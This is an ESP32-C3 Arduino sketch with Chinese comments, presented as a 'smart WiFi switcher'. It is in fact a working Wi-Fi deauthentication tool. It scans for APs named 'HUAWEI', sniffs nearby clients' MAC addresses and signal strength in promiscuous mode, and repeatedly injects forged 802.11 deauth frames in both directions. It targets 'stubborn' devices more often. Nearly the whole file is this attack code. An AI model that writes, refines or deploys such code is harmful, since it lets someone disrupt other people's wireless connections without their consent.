/*
* ESP32-C3 智能WiFi切换器 - 改进版
*
* 改进点:
* 1. 更准确的A路由器识别(信号强度 + 稳定性)
* 2. 多种帧类型检测(Probe Request + Data + Association)
* 3. 自适应RSSI阈值(自动学习模式)
* 4. 智能Deauth频率(根据设备响应调整)
* 5. 详细的调试信息和统计
*/
#include <WiFi.h>
#include "esp_wifi.h"
// ==================== 配置区 ====================
const char* TARGET_SSID = "HUAWEI"; // WiFi名称
const int RSSI_THRESHOLD = -68; // B房间触发阈值(可自动校准)
const int MAX_CLIENTS = 25;
const unsigned long CLIENT_TIMEOUT = 15000; // 15秒没看到就移除
const unsigned long DEAUTH_INTERVAL = 1200; // Deauth间隔(毫秒)
const int SCAN_DURATION = 42000; // 扫描时长(毫秒)
const int SCAN_CHANNEL_DWELL = 280; // 每个信道停留时间(毫秒)
// 自动校准模式(设为true时,前60秒只监听不干扰,学习RSSI分布)
const bool AUTO_CALIBRATE = false;
const unsigned long CALIBRATE_DURATION = 60000;
// ==================== 数据结构 ====================
struct ClientInfo {
uint8_t mac[6];
unsigned long lastSeen;
int lastRSSI;
int deauthCount; // 已发送的deauth次数
unsigned long lastDeauth; // 上次deauth时间
bool isStubborn; // 是否是"顽固"设备(需要更频繁干扰)
};
struct APCandidate {
uint8_t bssid[6];
int channel;
int rssi;
int beaconCount; // 看到的beacon数量(用于判断稳定性)
unsigned long lastSeen;
};
// ==================== 全局变量 ====================
ClientInfo activeClients[MAX_CLIENTS];
int clientCount = 0;
APCandidate apCandidates[10]; // 最多记录10个候选AP
int candidateCount = 0;
uint8_t A_BSSID[6] = {0};
int A_CHANNEL = 0;
bool A_found = false;
int minRssiSeen = 100;
int maxRssiSeen = -100;
uint8_t bestBSSID[6] = {0};
int bestChannel = 0;
unsigned long lastDeauthTime = 0;
unsigned long lastCleanupTime = 0;
unsigned long lastStatsTime = 0;
unsigned long startTime = 0;
// 统计信息
unsigned long totalDeauthSent = 0;
unsigned long totalClientsDetected = 0;
int currentRssiThreshold = RSSI_THRESHOLD;
wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
// ==================== 辅助函数 ====================
// 格式化MAC地址
void formatMAC(const uint8_t* mac, char* output) {
sprintf(output, "%02X:%02X:%02X:%02X:%02X:%02X",
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
}
// 添加或更新AP候选
void addOrUpdateAPCandidate(const uint8_t* bssid, int channel, int rssi) {
// 查找是否已存在
for (int i = 0; i < candidateCount; i++) {
if (memcmp(apCandidates[i].bssid, bssid, 6) == 0) {
apCandidates[i].rssi = (apCandidates[i].rssi + rssi) / 2; // 平均RSSI
apCandidates[i].beaconCount++;
apCandidates[i].lastSeen = millis();
return;
}
}
// 添加新候选
if (candidateCount < 10) {
memcpy(apCandidates[candidateCount].bssid, bssid, 6);
apCandidates[candidateCount].channel = channel;
apCandidates[candidateCount].rssi = rssi;
apCandidates[candidateCount].beaconCount = 1;
apCandidates[candidateCount].lastSeen = millis();
candidateCount++;
}
}
// 选择最佳A路由器(综合考虑信号强度和稳定性)
void selectBestAP() {
int bestScore = -1000;
int bestIndex = -1;
for (int i = 0; i < candidateCount; i++) {
// 评分 = RSSI弱(负数小)+ beacon稳定性
// 我们要找信号最弱但稳定的那个
int score = -apCandidates[i].rssi + (apCandidates[i].beaconCount * 2);
if (score > bestScore) {
bestScore = score;
bestIndex = i;
}
}
if (bestIndex >= 0) {
memcpy(A_BSSID, apCandidates[bestIndex].bssid, 6);
A_CHANNEL = apCandidates[bestIndex].channel;
minRssiSeen = apCandidates[bestIndex].rssi;
A_found = true;
char macStr[18];
formatMAC(A_BSSID, macStr);
Serial.printf("✅ 锁定 A 路由器!\n");
Serial.printf(" BSSID: %s\n", macStr);
Serial.printf(" 信道: %d\n", A_CHANNEL);
Serial.printf(" RSSI: %d dBm\n", minRssiSeen);
Serial.printf(" 稳定性: %d beacons\n", apCandidates[bestIndex].beaconCount);
Serial.println("━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━");
}
}
// 添加或更新客户端
void addOrUpdateClient(const uint8_t* mac, int rssi) {
// 检查是否已存在
for (int i = 0; i < clientCount; i++) {
if (memcmp(activeClients[i].mac, mac, 6) == 0) {
activeClients[i].lastSeen = millis();
activeClients[i].lastRSSI = rssi;
// 更新RSSI统计
if (rssi > maxRssiSeen) maxRssiSeen = rssi;
if (rssi < minRssiSeen) minRssiSeen = rssi;
return;
}
}
// 添加新客户端
if (clientCount < MAX_CLIENTS) {
memcpy(activeClients[clientCount].mac, mac, 6);
activeClients[clientCount].lastSeen = millis();
activeClients[clientCount].lastRSSI = rssi;
activeClients[clientCount].deauthCount = 0;
activeClients[clientCount].lastDeauth = 0;
activeClients[clientCount].isStubborn = false;
totalClientsDetected++;
clientCount++;
char macStr[18];
formatMAC(mac, macStr);
Serial.printf("🆕 新设备进入B房间: %s (RSSI: %d dBm)\n", macStr, rssi);
}
}
// 发送针对性Deauth
void sendTargetedDeauth(const uint8_t* clientMac, int index) {
uint8_t deauthFrame[26];
// AP → Client
memcpy(deauthFrame, (uint8_t*)"\xC0\x00\x00\x00", 4);
memcpy(deauthFrame + 4, clientMac, 6);
memcpy(deauthFrame + 10, A_BSSID, 6);
memcpy(deauthFrame + 16, A_BSSID, 6);
deauthFrame[22] = 0x00; deauthFrame[23] = 0x00;
deauthFrame[24] = 0x07; deauthFrame[25] = 0x00;
esp_wifi_80211_tx(WIFI_IF_STA, deauthFrame, 26, false);
// Client → AP(更有效)
memcpy(deauthFrame + 4, A_BSSID, 6);
memcpy(deauthFrame + 10, clientMac, 6);
memcpy(deauthFrame + 16, A_BSSID, 6);
esp_wifi_80211_tx(WIFI_IF_STA, deauthFrame, 26, false);
// 更新统计
activeClients[index].deauthCount++;
activeClients[index].lastDeauth = millis();
totalDeauthSent += 2;
// 判断是否是顽固设备(发了5次还在)
if (activeClients[index].deauthCount > 5) {
activeClients[index].isStubborn = true;
}
}
// 嗅探回调
void sniffer(void* buf, wifi_promiscuous_pkt_type_t type) {
if (type != WIFI_PKT_MGMT) return;
wifi_promiscuous_pkt_t* pkt = (wifi_promiscuous_pkt_t*)buf;
uint8_t* payload = pkt->payload;
int rssi = pkt->rx_ctrl.rssi;
if (rssi == 0) return;
uint8_t frameType = payload[0];
// 扫描阶段:收集Beacon
if (!A_found) {
if (frameType == 0x80) { // Beacon
uint8_t bssid[6];
memcpy(bssid, &payload[10], 6);
int pos = 24;
bool ssidMatch = false;
int ch = -1;
while (pos + 2 < pkt->rx_ctrl.sig_len) {
uint8_t tag = payload[pos];
uint8_t len = payload[pos + 1];
if (tag == 0 && len > 0 && len < 33) { // SSID
char ssid[33] = {0};
memcpy(ssid, &payload[pos + 2], len);
if (strcmp(ssid, TARGET_SSID) == 0) {
ssidMatch = true;
}
}
if (tag == 3 && len == 1) { // DS Parameter Set
ch = payload[pos + 2];
}
pos += 2 + len;
}
if (ssidMatch && ch > 0) {
addOrUpdateAPCandidate(bssid, ch, rssi);
}
}
return;
}
// 监听阶段:检测客户端
uint8_t clientMac[6];
bool isRelevant = false;
// Probe Request (0x40)
if (frameType == 0x40) {
memcpy(clientMac, &payload[10], 6); // addr2 = 发送者
isRelevant = true;
}
// Data frames (0x08, 0x88, 0x48...)
else if ((frameType & 0x0C) == 0x08) {
// ToDS=1: addr2是发送者(STA)
if (payload[1] & 0x01) {
memcpy(clientMac, &payload[10], 6);
isRelevant = true;
}
}
// Association Request (0x00)
else if (frameType == 0x00) {
memcpy(clientMac, &payload[10], 6);
isRelevant = true;
}
if (isRelevant) {
// 过滤掉AP自己和广播
if (memcmp(clientMac, A_BSSID, 6) != 0 &&
memcmp(clientMac, "\xFF\xFF\xFF\xFF\xFF\xFF", 6) != 0) {
// 校准模式:只记录不干扰
if (AUTO_CALIBRATE && millis() - startTime < CALIBRATE_DURATION) {
if (rssi > maxRssiSeen) maxRssiSeen = rssi;
if (rssi < minRssiSeen) minRssiSeen = rssi;
return;
}
// 正常模式:RSSI超过阈值才加入列表
if (rssi > currentRssiThreshold) {
addOrUpdateClient(clientMac, rssi);
}
}
}
}
// 扫描A路由器
void scanForA() {
Serial.println("━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━");
Serial.println("🔍 正在扫描并识别 A 路由器...");
Serial.printf(" 目标SSID: %s\n", TARGET_SSID);
Serial.printf(" 扫描时长: %d 秒\n", SCAN_DURATION / 1000);
Serial.println("━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━");
unsigned long scanStart = millis();
int scanRounds = 0;
while (millis() - scanStart < SCAN_DURATION) {
for (int ch = 1; ch <= 13; ch++) {
esp_wifi_set_channel(ch, WIFI_SECOND_CHAN_NONE);
delay(SCAN_CHANNEL_DWELL);
}
scanRounds++;
// 每轮显示进度
if (scanRounds % 3 == 0) {
Serial.printf(" 扫描进度: %d%% (发现 %d 个候选AP)\n",
(int)((millis() - scanStart) * 100 / SCAN_DURATION),
candidateCount);
}
}
Serial.println("━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━");
Serial.printf("📊 扫描完成!共发现 %d 个候选AP\n", candidateCount);
if (candidateCount > 0) {
// 显示所有候选
Serial.println("\n候选AP列表:");
for (int i = 0; i < candidateCount; i++) {
char macStr[18];
formatMAC(apCandidates[i].bssid, macStr);
Serial.printf(" %d. %s Ch:%d RSSI:%d Beacons:%d\n",
i + 1, macStr, apCandidates[i].channel,
apCandidates[i].rssi, apCandidates[i].beaconCount);
}
Serial.println();
selectBestAP();
if (A_found) {
esp_wifi_set_channel(A_CHANNEL, WIFI_SECOND_CHAN_NONE);
if (AUTO_CALIBRATE) {
Serial.println("🎯 进入自动校准模式(60秒)...");
Serial.println(" 请在B房间走动,让设备学习RSSI分布");
}
}
} else {
Serial.println("❌ 未找到匹配的WiFi!");
Serial.println(" 请检查:");
Serial.println(" 1. SSID是否正确(区分大小写)");
Serial.println(" 2. 路由器是否开启");
Serial.println(" 3. ESP32是否在信号范围内");
}
}
// 打印统计信息
void printStats() {
Serial.println("\n━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━");
Serial.println("📊 运行统计");
Serial.println("━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━");
Serial.printf("运行时间: %lu 秒\n", (millis() - startTime) / 1000);
Serial.printf("当前活跃设备: %d\n", clientCount);
Serial.printf("累计检测设备: %lu\n", totalClientsDetected);
Serial.printf("累计发送Deauth: %lu\n", totalDeauthSent);
Serial.printf("RSSI阈值: %d dBm\n", currentRssiThreshold);
Serial.printf("RSSI范围: %d ~ %d dBm\n", minRssiSeen, maxRssiSeen);
if (clientCount > 0) {
Serial.println("\n当前设备列表:");
for (int i = 0; i < clientCount; i++) {
char macStr[18];
formatMAC(activeClients[i].mac, macStr);
Serial.printf(" %s RSSI:%d Deauth:%d %s\n",
macStr, activeClients[i].lastRSSI,
activeClients[i].deauthCount,
activeClients[i].isStubborn ? "[顽固]" : "");
}
}
Serial.println("━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n");
}
// ==================== 主程序 ====================
void setup() {
Serial.begin(115200);
delay(1000);
Serial.println("\n\n");
Serial.println("╔════════════════════════════════════════╗");
Serial.println("║ ESP32-C3 智能WiFi切换器 - 改进版 ║");
Serial.println("║ 版本: 2.0 ║");
Serial.println("╚════════════════════════════════════════╝");
Serial.println();
startTime = millis();
WiFi.mode(WIFI_MODE_STA);
esp_wifi_init(&cfg);
esp_wifi_set_mode(WIFI_MODE_STA);
esp_wifi_start();
esp_wifi_set_promiscuous(true);
esp_wifi_set_promiscuous_rx_cb(sniffer);
scanForA();
}
void loop() {
if (!A_found) {
delay(5000);
return;
}
unsigned long now = millis();
// 自动校准模式
if (AUTO_CALIBRATE && now - startTime == CALIBRATE_DURATION) {
// 校准完成,设置阈值为最大RSSI - 5dBm
currentRssiThreshold = maxRssiSeen - 5;
Serial.println("\n✅ 自动校准完成!");
Serial.printf(" 检测到RSSI范围: %d ~ %d dBm\n", minRssiSeen, maxRssiSeen);
Serial.printf(" 设置阈值为: %d dBm\n", currentRssiThreshold);
Serial.println(" 开始正常工作...\n");
}
// 清理过期客户端
if (now - lastCleanupTime > 5000) {
lastCleanupTime = now;
for (int i = 0; i < clientCount; i++) {
if (now - activeClients[i].lastSeen > CLIENT_TIMEOUT) {
char macStr[18];
formatMAC(activeClients[i].mac, macStr);
Serial.printf("👋 设备离开B房间: %s\n", macStr);
// 移除
for (int j = i; j < clientCount - 1; j++) {
activeClients[j] = activeClients[j + 1];
}
clientCount--;
i--;
}
}
}
// 执行Deauth
if (now - lastDeauthTime > DEAUTH_INTERVAL && clientCount > 0) {
// 跳过校准期
if (AUTO_CALIBRATE && now - startTime < CALIBRATE_DURATION) {
delay(50);
return;
}
lastDeauthTime = now;
Serial.printf("🚨 检测到 %d 个设备在B房间,正在切换...\n", clientCount);
for (int i = 0; i < clientCount; i++) {
// 顽固设备更频繁干扰
if (activeClients[i].isStubborn) {
if (now - activeClients[i].lastDeauth < 500) {
continue; // 刚发过,跳过
}
}
sendTargetedDeauth(activeClients[i].mac, i);
char macStr[18];
formatMAC(activeClients[i].mac, macStr);
Serial.printf(" → %s (RSSI:%d, 已发:%d次%s)\n",
macStr, activeClients[i].lastRSSI,
activeClients[i].deauthCount,
activeClients[i].isStubborn ? " [顽固]" : "");
}
}
// 定期打印统计
if (now - lastStatsTime > 30000) { // 每30秒
lastStatsTime = now;
printStats();
}
delay(50);
}